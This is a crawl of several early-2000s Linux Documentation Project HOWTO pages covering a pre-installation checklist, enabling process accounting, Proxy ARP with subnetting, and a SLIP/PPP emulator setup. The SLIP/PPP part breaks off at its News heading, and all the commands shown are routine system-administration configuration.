2.13. Miscellaneous
2.14. Feedback
3. What next...?
Next
Introduction


What next...?

GNU/Linux pre-installation checklist
Prev

3. What next...?

Even the longest journey has to start with a small first-step.
--Confucious

Now that you have taken the first step of filling up the checklist, you would like to prepare for the real installation. Here are a few tips, for starters:

  • A very good installation guide is here. You must visit this excellent site. It also gives tips to find answers for some of the questions asked in the pre-installation checklist (e.g. video cards, monitor, chipset, modem, ...etc.).

  • The official Installation HOWTO is here.

Prev | Home
Linux pre-installation checklist |


Introduction

GNU/Linux pre-installation checklist
Prev Next

1. Introduction

Are you a Linux newbie ? Are you a Linux guru ? In both cases, you will find this checklist of great help to you. How many times have you found yourself fumbling in the middle of a Linux installation process, because some vital information about the target hardware is not known ?

Have you ever crossed your fingers when you were asked by the installation procedure, a simple question, like: to which COM port is the mouse connected ?

Let's face it, all of us have, at one time or another, felt we should have been better prepared before starting to install Linux. Here is a simple solution, brought to you by Algologic Research & Solutions

1.1. Copyright Information

This document is copyrighted (c) 2000 Algologic Research & Solutions and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to make a backup of your system before major installation and continue to do so at regular intervals.

1.3. Translations

This checklist is available in:

  • Japanese as a text-only or html version.

  • Dutch as html.

  • French as html.

1.4. Acknowledgements

Algologic acknowledges with gratitude the useful suggestions and inputs from many members of the Linux community, for preparation of this checklist. This checklist is proof of the cooperation and goodwill which exists between Linux users. Algologic submits this checklist to the Linux community, as a humble tribute to the spirit of Linux. Many thanks to the following people:

  • Mrs. Chie Nakatani for the translation into Japanese. You can also visit her home page by clicking here. <jeanne (at) mbox.kyoto-inet.or.jp>

  • Pierre-Charles David for the translation into French. <david (at) essi.fr>

  • Linux werkgroep HCC afdeling Groningen for the translation into Dutch.

  • Jesse Goerz for converting the document to docbook sgml. <jgoerz (at) linuxfreemail.com>

1.5. Who should read/use this?

If you are planning to install Linux on somebody else's machine, or in a location which is not your own work place, you must absolutely get this checklist completed in advance. It is important to get this questionnaire answered by your host, so that you go adequately prepared for the installation.

If you are planning to organize an "Install fest" (we Indians call it "Linux mela"), ask your participants to come with this checklist answered.

Conversely, if you are going to an Install fest (aka Linux mela), to get Linux installed on your machine, do your home-work. Go with answers to this checklist.

If you are going to ask someone to come over and install Linux for you, send him/her this questionnaire with as many responses as you know.

If you are the D-I-Y type, you must start by answering all these questions, so that you can save time for enjoying your Linux!

1.6. What does this checklist (aim to) achieve?

This is a memory aid which may make installation of Linux a pleasant experience for you. It fills an important role in the promotion of Linux.

It will help you to be prepared with all the answers which may be needed during the course of installation of Linux on your machine or on anybody else's machine. Sometimes, it is very inconvenient and even impossible to find out some details in the middle of an installation procedure. This becomes all the more difficult when you are installing Linux on somebody else's machine, and in somebody else's office.

This checklist, when filled up, will help you go through your Linux documentation and verify in advance whether certain hardware is supported by the distribution you are planning to install. It will also help you to be prepared with the packages you would need to install, and the configuration choices which need to be done.

The idea is to reduce the chances of frustrating surprises.

This checklist is only for installing Linux on PCs. You may use this checklist as a model for other classes of machines (e.g.SUN, Alpha, ...) also.

1.7. Where do I find more about Linux?

If you want professional (PAID) help with Linux -- ask Algologic. Algologic Research & Solutions is listed in the official CONSULTANTS-HOWTO of the Linux Documentation Project.

This checklist does not give any details about hardware compatible with Linux, or other details about actually procuring or installing Linux. If you want details, please reference the Linux hardware howto, the Distribution howto, and the Installation howto, which are all located online at the Linux Documentation Project.

If you are the impatient type, and want help on installation directly, please reference Section 3 and skip the pre-installation checklist.

ATTENTION: We are actually overwhelmed by the number of general inquiries about procuring, installing and using Linux. We DO NOT answer such general mail. We strongly advise you to check out the Linux Documentation Project for finding other sources of help. Please DO NOT send us any general Linux questions.

1.8. Conventions used

WARNING!

Warnings are admonitions which if disregarded, will result in an inoperable system , which may or may not be recoverable.

Caution!

Cautions are admonitions which if disregarded, will result in an inoperable application or cause the loss of data, configuration files, or leave the system in an unbootable state.

Note: Notes state important facts which may be necessary to perform an operation.

Tip: Tips provide shortcuts or foresight to make performance of operations easier.

Prev | Home | Next
GNU/Linux pre-installation checklist |  | Linux pre-installation checklist


Current Status of Process Accounting under Linux

Enabling Process Accounting on Linux HOWTO
Prev Next

4. Current Status of Process Accounting under Linux

Process accounting support has been integrated into the newer kernels (version >= 1.3.73). If you are running an older kernel, you may need some patch files. The patches are available from ftp://iguana.hut.fi/pub/linux/Kernel/process_accounting

Prev | Home | Next
What is process accounting? |  | Requirements for Process Accounting on Linux


Enabling Process Accounting on Linux HOWTO

Albert M.C. Tam

bertie@scn.org

Kristin Thomas - Converted document from HTML to DocBook v4.1 (SGML)

2001-02-09

Revision History
Revision 1.1 | 2001-02-09 | Revised by: KET
Revision 1.0 | 1997-08-08 | Revised by: AMCT

Describes the basics of enabling process accounting on Linux.

Table of Contents
1. Preamble
2. Introduction
3. What is process accounting?
4. Current Status of Process Accounting under Linux
5. Requirements for Process Accounting on Linux
5.1. Kernel
5.2. Process Accounting Software
6. Process Accounting Setup on Linux
7. Miscellaneous Process Accounting Commands
Next
Preamble


Introduction

Enabling Process Accounting on Linux HOWTO
Prev Next

2. Introduction

This document describes how to enable system process accounting on a Linux host and the usage of various process accounting commands. It is intended for users running kernel versions greater than or equal to 1.3.73 (tested on RedHat™ 4.1 kernel 2.0.27). Kernels older than 1.3.73 may need a patch in order to use the process accounting feature.

Feel free to send any feedback or comments to bertie@scn.org if you find an error, or if any information is missing. I appreciate it.

Prev | Home | Next
Preamble |  | What is process accounting?


Miscellaneous Process Accounting Commands

Enabling Process Accounting on Linux HOWTO
Prev

7. Miscellaneous Process Accounting Commands

ac

ac prints out statistics about users' connection times in hours based on the logins and logouts in the current /var/log/wtmp file. ac is also capable of printing out time totals for each day (-d option), and for each user (-p option).

accton

accton is used to turn on or turn off process accounting. The file is normally executed at system bootup or shutdown via system init scripts.

last

last goes through the /var/log/wtmp file and prints out information about users' connection times.

sa

sa summarizes accounting information from previously executed commands, software I/O operation times, and CPU times, as recorded in the accounting record file /var/account/pacct.

lastcomm

lastcomm prints out the information about all previously executed commands, recorded in /var/account/pacct.

Prev | Home
Process Accounting Setup on Linux |


What is process accounting?

Enabling Process Accounting on Linux HOWTO
Prev Next

3. What is process accounting?

Process accounting is the method of recording and summarizing commands executed on Linux. The modern Linux kernel is capable of keeping process accounting records for the commands being run, the user who executed the command, the CPU time, and much more.

Process accounting enables you to keep detailed accounting information for the system resources used, their allocation among users, and system monitoring.

Prev | Home | Next
Introduction |  | Current Status of Process Accounting under Linux


Process Accounting Setup on Linux

Enabling Process Accounting on Linux HOWTO
Prev Next

6. Process Accounting Setup on Linux

  1. Compile and install process accounting software.

    The process accounting software package is available from http://sunsite.unc.edu/pub/Linux/system/admin/quota-acct-modified.tgz

  2. Modify your system init script and turn on process accounting at boot time.

    Here's an example:

    # Turn process accounting on.
if [ -x /sbin/accton ]
then
        /sbin/accton /var/log/pacct
        echo "Process accounting turned on."
fi

  3. Create accounting record file "pacct."

    Your process accounting software will print out all commands executed to the file /var/log/pacct by default.

    To create the accounting record file:
    touch /var/log/pacct

    This record file should be owned by root, and it has read-write permission for root and read permission for anybody else:

    chown root /var/log/pacct
chmod 0644 /var/log/pacct

  4. Reboot.

    Now reboot your system for changes you made to take effect.

Prev | Home | Next
Requirements for Process Accounting on Linux |  | Miscellaneous Process Accounting Commands


Preamble

Enabling Process Accounting on Linux HOWTO
Prev Next

1. Preamble

This document is copylefted by Albert M.C. Tam (bertie@scn.org). Permission to use, copy, distribute this document for non-commerical purposes is hereby granted, provided that the author's/editor's name and this notice appear in all copies and/or supporting documents and provided that this document is not modified. This document is distributed in hope that it will be useful, but WITHOUT ANY WARRANTY, either expressed or implied. While every effort has been taken to ensure the accuracy of the information documented herein, the author/editor/maintainer assumes NO RESPONSIBILITY for errors, or for damages resulting for the use of the information documented herein.

Prev | Home | Next
Enabling Process Accounting on Linux HOWTO |  | Introduction


Requirements for Process Accounting on Linux

Enabling Process Accounting on Linux HOWTO
Prev Next

5. Requirements for Process Accounting on Linux

5.1. Kernel

A Linux kernel version greater than or equal to version 1.3.73 is required, and I recommended 2.x. The kernel source is available from http://sunsite.unc.edu/pub/Linux/kernel/v2.0

5.2. Process Accounting Software

Depending on the Linux distribution you have, you may not have the process accounting software package installed on your system. If you don't have it, try downloading the package from http://sunsite.unc.edu/pub/Linux/system/admin/quota-acct-modified.tgz

Prev | Home | Next
Current Status of Process Accounting under Linux |  | Process Accounting Setup on Linux


Other alternatives to Proxy ARP with subnetting

ProxyARP Subnetting HOWTO
Prev Next

5. Other alternatives to Proxy ARP with subnetting

There are several other alternatives to using Proxy ARP with subnetting in this situation, apart from the ones mentioned about (bridging and straight routing):

  • IP-Masquerading (see the IP-Masquerade mini-HOWTO), in which network 0 is "hidden" behind machine A from the rest of the Internet. As machines on network 0 attempt to connect outside through machine A, it re-addresses the source address and port number of the packets and makes them look like they are coming from itself, rather than from the machine on the hidden network 0. This is an elegant solution, although it prevents any machine on network 1 from initiating a connection to any machine on network 0, as the machines on network 0 effectively don't exist outside of network 0. This effectively increases security of the machines on network 0, but is also means that servers on network 1 cannot check the identity of clients on network 0 using IP numbers (eg. NFS servers use IP hostnames for access to mountable file systems).

  • Another option is IP in IP tunneling, which isn't supported on all platforms (such as Macs and Windoze machines) so I opted not to go this way.

  • Use Proxy ARP without subnetting. This is certainly possible, it just means that a separate entry needs to be created for each machine on network 0, instead of a single entry for all machines (current and future) on network 0.

  • Possibly IP Aliasing might also be useful here, but I haven't looked into this at all.

Prev | Home | Next
Setting up Proxy ARP with subnetting |  | Other Applications of Proxy ARP with subnetting


Other Applications of Proxy ARP with subnetting

ProxyARP Subnetting HOWTO
Prev Next

6. Other Applications of Proxy ARP with subnetting

There is only one other application that I know about that uses Proxy ARP with subnetting, also here at the Australian National University. It is the one that Andrew Tridgell originally wrote the subnetting extensions to Proxy ARP for. However, Andrew reliably informs me that there are, in fact, several other sites around the world using it as well (I don't have any details).

The other A.N.U. application involves a teaching lab set up to teach students how to configure machines to use TCP/IP, including setting up the gateway. The network used is a Class C network, and Andrew needed to "subnet" it for security, traffic control and the educational reason mentioned above. He did this using Proxy ARP, and then decided that a single entry in the ARP cache for the whole subnet would be faster and cleaner than one for each host on the subnet. Voila...Proxy ARP with subnetting!

Prev | Home | Next
Other alternatives to Proxy ARP with subnetting |  | Copying conditions


Copying conditions

ProxyARP Subnetting HOWTO
Prev

7. Copying conditions

Copyright 1997 by Bob Edwards <Robert.Edwards@anu.edu.au>

Voice: (+61) 2 6249 4090

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions. All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below. In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs. If you have questions, please contact the Linux HOWTO coordinator, at <linux-howto@metalab.unc.edu> via email.

Prev | Home
Other Applications of Proxy ARP with subnetting |


How Proxy ARP with subnetting works

ProxyARP Subnetting HOWTO
Prev Next

3. How Proxy ARP with subnetting works

The Proxy ARP is actually only used to get packets from network 1 to network 0. To get packets back the other way, the normal IP routing functionality is employed.

In my case, network 1 has an 8-bit subnet mask (255.255.255.0). I have chosen the subnet mask for network 0 to be 4-bit (255.255.255.240), allowing 14 IP nodes on network 0 (2 ^ 4 = 16, less two for the all zeros and all ones cases). Note that any size of subnet mask up to, but not including, the size of the mask of the other network is allowable here (eg. 2, 3, 4, 5, 6 or 7 bits in this case - for one bit, just use normal Proxy ARP!)

All the IP numbers for network 0 (16 in total) appear in network 1 as a subset. Note that it is very important, in this case, not to allow any machine connected directly to network 1 to have an IP number in this range! In my case, I have "reserved" the IP numbers of network 1 ending in 64 .. 79 for network 0. In this case, the IP numbers ending in 64 and 79 can't actually be used by nodes - 79 is the broadcast address for network 0.

Machine A is allocated two IP numbers, one within the network 0 range for it's real Ethernet interface (eth0) and the other within the network 1 range, but outside of the network 0 range, for the wireless Ethernet interface (eth1).

Say machine C (on network 1) wants to send a packet to machine B (on network 0). Because the IP number of machine B makes it look to machine C as though it is on the same physical network, machine C will use the Address Resolution Protocol (ARP) to send a broadcast message on network 1 requesting the machine with the IP number of machine B to respond with it's hardware (Ethernet or MAC layer) address. Machine B won't see this request, as it isn't actually on network 1, but machine A, on both networks, will see it.

The first bit of magic now happens as the Linux kernel arp code on machine A, with a properly configured Proxy ARP with subnetting entry, determines that the ARP request has come in on the network 1 interface (eth1) and that the IP number being ARP'd for is in the subnet range for network 0. Machine A then sends it's own hardware (Ethernet) address back to machine C as an ARP response packet.

Machine C then updates it's ARP cache with an entry for machine B, but with the hardware (Ethernet) address of machine A (in this case, the wireless Ethernet interface). Machine C can now send the packet for machine B to this hardware (Ethernet) address, and machine A receives it.

Machine A notices that the destination IP number in the packet is that of machine B, not itself. Machine A's Linux kernel IP routing code attempts to forward the packet to machine B by looking at it's routing tables to determine which interface contains the network number for machine B. However, the IP number for machine B is valid for both the network 0 interface (eth0), and for the network 1 interface (eth1).

At this point, something else clever happens. Because the subnet mask for the network 0 interface has more 1 bits (it is more specific) than the subnet mask for the network 1 interface, the Linux kernel routing code will match the IP number for machine B to the network 0 interface, and not keep looking for the potential match with the network 1 interface (the one the packet came in on).

Now machine A needs to find out the "real" hardware (Ethernet) address for machine B (assuming that it doesn't already have it in the ARP cache). Machine A uses an ARP request, but this time the Linux kernel arp code notes that the request isn't coming from the network 1 interface (eth1), and so doesn't respond with the Proxy address of eth1. Instead, it sends the ARP request on the network 0 interface (eth0), where machine B will see it and respond with it's own (real) hardware (Ethernet) address. Now machine A can send the packet (from machine C) onto machine B.

Machine B gets the packet from machine C (via machine A) and then wants to send back a response. This time, machine B notices that machine C in on a different subnet (machine B's subnet mask of 255.255.255.240 excludes all machines not in the network 0 IP address range). Machine B is setup with a "default" route to machine A's network 0 IP number and sends the packet to machine A. This time, machine A's Linux kernel routing code determines the destination IP number (of machine C) as being on network 1 and sends the packet onto machine C via Ethernet interface eth1.

Similar (less complicated) things occur for packets originating from and destined to machine A from other machines on either of the two networks.

Similarly, it should be obvious that if another machine (D) on network 0 ARP's for machine B, machine A will receive the ARP request on it's network 0 interface (eth0) and won't respond to the request as it is set up to only Proxy on it's network 1 interface (eth1).

Note also that all of machines B and C (and D) are not required to do anything unusual, IP-wise. In my case, there is a mixture of Suns, Macs and PC/Windoze 95 machines on network 0 all connecting through Linux machine A to the rest of the world.

Finally, note that once the hardware (Ethernet) addresses are discovered by each of machines A, B, C (and D), they are placed in the ARP cache and subsequent packet transfers occur without the ARP overhead. The ARP caches normally expire entries after 5 minutes of non-activity.

Prev | Home | Next
Why use Proxy ARP with subnetting? |  | Setting up Proxy ARP with subnetting


ProxyARP Subnetting HOWTO

Bob Edwards

Robert.Edwards@anu.edu.au

v2.0, 27 August 2000

This HOWTO discusses using Proxy Address Resolution Protocol (ARP) with subnetting in order to make a small network of machines visible on another Internet Protocol (IP) subnet (I call it sub-subnetting). This makes all the machines on the local network (network 0 from now on) appear as if they are connected to the main network (network 1).

This is only relevent if all machines are connected by Ethernet or ether devices (ie. it won't work for SLIP/PPP/CSLIP etc.)

Table of Contents
1. Acknowledgements
2. Why use Proxy ARP with subnetting?
3. How Proxy ARP with subnetting works
4. Setting up Proxy ARP with subnetting
5. Other alternatives to Proxy ARP with subnetting
6. Other Applications of Proxy ARP with subnetting
7. Copying conditions
Next
Acknowledgements


Acknowledgements

ProxyARP Subnetting HOWTO
Prev Next

1. Acknowledgements

This document, and my Proxy ARP implementation could not have been made possible without the help of:

  • Andrew Tridgell, who implemented the subnetting options for arp in Linux, and who personally assisted me in getting it working

  • the Proxy-ARP mini-HOWTO, by Al Longyear

  • the Multiple-Ethernet mini-HOWTO, by Don Becker

  • the arp(8) source code and man page by Fred N. van Kempen and Bernd Eckenfels

Prev | Home | Next
ProxyARP Subnetting HOWTO |  | Why use Proxy ARP with subnetting?


Setting up Proxy ARP with subnetting

ProxyARP Subnetting HOWTO
Prev Next

4. Setting up Proxy ARP with subnetting

I set up Proxy ARP with subnetting on a Linux kernel version 2.0.30 machine, but I am told that the code works right back to some kernel version in the 1.2.x era.

The first thing to note is that the ARP code is in two parts: the part inside the kernel that sends and receives ARP requests and responses and updates the ARP cache etc.; and other part is the arp(8) command that allows the super user to modify the ARP cache manually and anyone to examine it.

The first problem I had was that the arp(8) command that came with my Slackware 3.1 distribution was ancient (1994 era!!!) and didn't communicate with the kernel arp code correctly at all (mainly evidenced by the strange output that it gave for "arp -a").

The arp(8) command in "net-tools-1.33a" available from a variety of places, including (from the README file that came with it) ftp.linux.org.uk:/pub/linux/Networking/base/ works properly and includes new man pages that explain stuff a lot better than the older arp(8) man page.

Armed with a decent arp(8) command, all the changes I made were in the /etc/rc.d/rc.inet1 script (for Slackware - probably different for other flavours). First of all, we need to change the broadcast address, network number and netmask of eth0:

NETMASK=255.255.255.240 # for a 4-bit host part
NETWORK=x.y.z.64        # our new network number (replace x.y.z with your net)
BROADCAST=x.y.z.79      # in my case

Then a line needs to be added to configure the second Ethernet port (after any module loading that might be required to load the driver code):

/sbin/ifconfig eth1 (name on net 1) broadcast (x.y.z.255) netmask 255.255.255.0

Then we add a route for the new interface:

/sbin/route add -net (x.y.z.0) netmask 255.255.255.0

And you will probably need to change the default gateway to the one for network 1.

At this point, it is appropriate to add the Proxy ARP entry:

/sbin/arp -i eth1 -Ds ${NETWORK} eth1 netmask ${NETMASK} pub

This tells ARP to add a static entry (the s) to the cache for network ${NETWORK}. The -D tells ARP to use the same hardware address as interface eth1 (the second eth1), thus saving us from having to look up the hardware address for eth1 and hardcoding it in. The netmask option tells ARP that we want to use subnetting (ie. Proxy for all (IP number) & ${NETMASK} == ${NETWORK} & ${NETMASK}). The pub option tells ARP to publish this ARP entry, ie. it is a Proxy entry, so respond on behalf of these IP numbers. The -i eth1 option tells ARP to only respond to requests that come in on interface eth1.

Hopefully, at this point, when the machine is rebooted, all the machines on network 0 will appear to be on network 1. You can check that the Proxy ARP with subnetting entry has been correctly installed on machine A. On my machine (names changed to protect the innocent) it is:

bash$ /sbin/arp -an
Address                 HWtype  HWaddress           Flags Mask            Iface
x.y.z.1                 ether   00:00:0C:13:6F:17   C     *               eth1
x.y.z.65                ether   00:40:05:49:77:01   C     *               eth0
x.y.z.67                ether   08:00:20:0B:79:47   C     *               eth0
x.y.z.5                 ether   00:00:3B:80:18:E5   C     *               eth1
x.y.z.64                ether   00:40:96:20:CD:D2   CMP   255.255.255.240 eth1

Alternatively, you can examine the /proc/net/arp file with eg. cat(1).

The last line is the proxy entry for the subnet. The CMP flags indicate that it is a static (Manually entered) entry and that it is to be Published. The entry is only going to reply to ARP requests on eth1 where the requested IP number, once masked, matches the network number, also masked. Note that arp(8) has automatically determined the hardware address of eth1 and inserted this for the address to use (the -Ds option).

Likewise, it is probably prudent to check that the routing table has been set up correctly. Here is mine (again, the names are changed to protect the innocent):

#/bin/netstat -rn
Kernel routing table
Destination     Gateway         Genmask         Flags Metric Ref Use    Iface
x.y.z.64        0.0.0.0         255.255.255.240 U     0      0       71 eth0
x.y.z.0         0.0.0.0         255.255.255.0   U     0      0      389 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        7 lo
0.0.0.0         x.y.z.1         0.0.0.0         UG    1      0      573 eth1

Alternatively, you can examine the /proc/net/route file with eg. cat(1).

Note that the first entry is a proper subset of the second, but the routing table has ranked them in netmask order, so the eth0 entry will be checked before the eth1 entry.

Prev | Home | Next
How Proxy ARP with subnetting works |  | Other alternatives to Proxy ARP with subnetting


Why use Proxy ARP with subnetting?

ProxyARP Subnetting HOWTO
Prev Next

2. Why use Proxy ARP with subnetting?

The applications for using Proxy ARP with subnetting are fairly specific.

In my case, I had a wireless Ethernet card that plugs into an 8-bit ISA slot. I wanted to use this card to provide connectivity for a number of machines at once. Being an ISA card, I could use it on a Linux machine, after I had written an appropriate device driver for it - this is the subject of another document. From here, it was only necessary to add a second Ethernet interface to the Linux machine and then use some mechanism to join the two networks together.

For the purposes of discussion, let network 0 be the local Ethernet connected to the Linux box via an NE-2000 clone Ethernet interface on eth0. Network 1 is the main network connected via the wireless Ethernet card on eth1. Machine A is the Linux box with both interfaces. Machine B is any TCP/IP machine on network 0 and machine C is likewise on network 1.

Normally, to provide the connectivity, I would have done one of the following:

  • Used the IP-Bridge software (see the Bridge mini-HOWTO) to bridge the traffic between the two network interfaces. Unfortunately, the wireless Ethernet interface cannot be put into "Promiscuous" mode (ie. it can't see all packets on network 1). This is mainly due to the lower bandwidth of the wireless Ethernet (2MBit/sec) meaning that we don't want to carry any traffic not specifically destined to another wireless Ethernet machine - in our case machine A - or broadcasts. Also, bridging is rather CPU intensive!

  • Alternatively, use subnets and an IP-router to pass packets between the two networks (see the IP-Subnetworking mini-HOWTO). This is a protocol specific solution, where the Linux kernel can handle the Internet Protocol (IP) packets, but other protocols (such as AppleTalk) need extra software to route. This also requires the allocation of a new IP subnet (network) number, which is not always an option.

In my case, getting a new subnet (network) number was not an option, so I wanted a solution that allowed all the machines on network 0 to appear as if they were on network 1. This is where Proxy ARP comes in. Other solutions are used to connect other (non-IP) protocols, such as netatalk to provide AppleTalk routing.

Prev | Home | Next
Acknowledgements |  | How Proxy ARP with subnetting works


How Does an Emulator Work?

SLIP/PPP Emulator mini-HOWTO
Prev Next

2. How Does an Emulator Work?

It is important to understand how a SLIP/PPP emulator works in general, to be aware of its limitations. First, you do not need to install the emulator on your machine. It runs on your remote host only. What you need on your machine is the TCP/IP and SLIP or PPP protocols installed in your kernel (more on that in a bit), and some clients.

Here's what happens: you send network requests from your machine to your remote host over the SLIP/PPP link. The emulator grabs them and sends them out to the Net at large. Then, incoming data is sent back from the Net to your account on the remote host, where the emulator grabs it and sends it back over the SLIP/PPP link to your machine. So, to the Net it appears as if you are working out of your account on the remote host, but to you it looks like you are really connected right to the Net.

As you can see, this can confuse stuff that is incoming from the Net. For example, talk doesn't work via an emulator, because the incoming talk request tries to start the remote hosts talk daemon, not yours.

The other big difference between an emulator and real SLIP/PPP is you are NOT assigned your own IP address; remember, you are only converting a dialup account to a SLIP/PPP connection.

2.1. What is TIA?

The Intenet Adaptor was written by the fine folks at marketplace.com. They have quit working on it now, and consider it a 'mature' product. The last version is 2.05; if you are going to use TIA, please get this version.

Note: At last report, marketplace.com have gone out of business.

2.2. What is SLiRP?

This is a freeware application, covered under the GNU Public License. It is out of beta, and is real stable. It sports a few more features than TIA, and is (reportedly) easier on host resources. Available at fine Linux FTP sites everywhere.

2.3. What about Term?

If you don't have root access to your machine for one reason or another, and you can't persuade someone who does to install SLIP and dip, then you won't have much choice except to use Term. If you want to know more about Term, please read the HOWTO on Sunsite.

2.4. What about real SLIP/PPP?

Hey, a lot of places are offering real SLIP/PPP at reasonable prices for non-dedicated dialup nowadays. If you can afford it, or feel the need, go for it. The Real Thing is always better than emulation. However, one of the things an emulator provides is security; it acts as an impregnable firewall, and with it you are pretty much as bulletproof as your provider is. You'll pay for it though, emulation is slower, and does not fully support every protocol. Still and all, emulation is good enough for most people, and is a fine way to connect to the Net.

Prev | Home | Next
Introduction |  | Prerequisites


SLIP/PPP Emulator mini-HOWTO

Irish

irish@eskimo.com

Glen Reesor - Converted document from HTML to DocBook v4.1 (SGML)

2001-02-21

Revision History
Revision 3.1 | 21 February 2001 | Revised by: GCR
Revision 3.0 | 7 August 1997 | Revised by: Irish

This document will describe how to get your Linux box to connect to a generic site via a SLIP/PPP emulator, such as SLiRP or TIA. I take no responsibility for your use of this information, but corrections are welcome.

I will not attempt to describe all that can be done over this connection once established, but I will refer you to other documents or sites that will contain the relevant information.

That done, let's do it!

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Feedback
2. How Does an Emulator Work?
2.1. What is TIA?
2.2. What is SLiRP?
2.3. What about Term?
2.4. What about real SLIP/PPP?
3. Prerequisites
4. Preparing your Linux Machine
4.1. Compiling your Kernel
4.2. Edit some files in /etc
4.3. DIP
4.4. PPP
5. Now What?
5.1. Mail
5.2. News
5.3. Mosaic/Netscape
6. Miscellaneous
6.1. References
Next
Introduction


Introduction

SLIP/PPP Emulator mini-HOWTO
Prev Next

1. Introduction

I am Irish, <irish@eskimo.com>, available for comment on Linux almost everyday, when I'm not petting my cat or hugging my kid.

This HOWTO is available in the following places:

  • http://www.linuxdoc.org

  • ftp://ftp.eskimo.com/u/i/irish

  • ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/mini/SLIP-PPP-Emulator

1.1. Copyright Information

This document is copyrighted (c) 2001 Irish and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <irish@eskimo.com>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

The latest version number of this document can be found at:

  • http://www.linuxdoc.org

  • ftp://ftp.eskimo.com/u/i/irish

  • ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/mini/SLIP-PPP-Emulator

1.4. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <irish@eskimo.com>.

Prev | Home | Next
SLIP/PPP Emulator mini-HOWTO |  | How Does an Emulator Work?


Miscellaneous

SLIP/PPP Emulator mini-HOWTO
Prev

6. Miscellaneous

If I've left anything out, or you still have questions, I read my mail daily. This information gets updated fairly regularly, so keep checking back every so often (I'll change the version numbers). Naturally, the more you contribute, the more info will be included here, so don't hesitate to tell me about whatever you have to offer.

If you would like some help, or are having trouble with your setup, I'll help but you must send me the following info:

  1. A copy of your three /etc files.

  2. A copy of your script output, run with the -v flag (please remove your password from this!)

Even if you don't have anything to contribute, but used this info sucsessfully, please mail me. I want to know how useful this really is.

6.1. References

Sunsite is the FTP site sunsite.unc.edu, a veritable plethora of everything Linux, including almost every FAQ, HOWTO, and README written.

Marketplace.com is the home of TIA, the only place it is available.

Note: Marketplace.com appears to be out of business.

I am Irish, <irish@eskimo.com>, available for comment on Linux almost everyday, when I'm not petting my cat or hugging my kid.

This HOWTO is available in the following places:

  • http://www.linuxdoc.org

  • ftp://ftp.eskimo.com/u/i/irish

  • ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/mini/SLIP-PPP-Emulator

Prev | Home
Now What? |


Now What?

SLIP/PPP Emulator mini-HOWTO
Prev Next

5. Now What?

Hey, if all went well, you are now connected to the Net! Try a 'telnet remotehostname' (remember that abbreviation in your hosts file?). You should get the remotes telnet login prompt. Go on, try it! You can now telnet/FTP/etc. anywhere on the Net from your local machine. How? Your machine is using the remote as a nameserver to resolve addresses (resolv.conf). Experiment, find out what works and what doesn't.

You will not be able to use services that are not provided already on your remote host! For example, if your server doesn't allow telnets, chances are you can't do it either. Why? Because the emulator is only re-directing what is already available.

5.1. Mail

The obvious text based solution is Pine, you can get it from The University of Washington .

My pick for 'Best Mail Reader, X Based' has to go to XFmail. This has now gotten out of beta, and rocks. Easy to install; requires no local mail system be installed (but will work with local spools) because it has POP built in - no more popclient/fetchpop! Easy to use; totally customizable from the GUI. Also supports MIME. Get it from The XFmail Homesite.

5.2. News

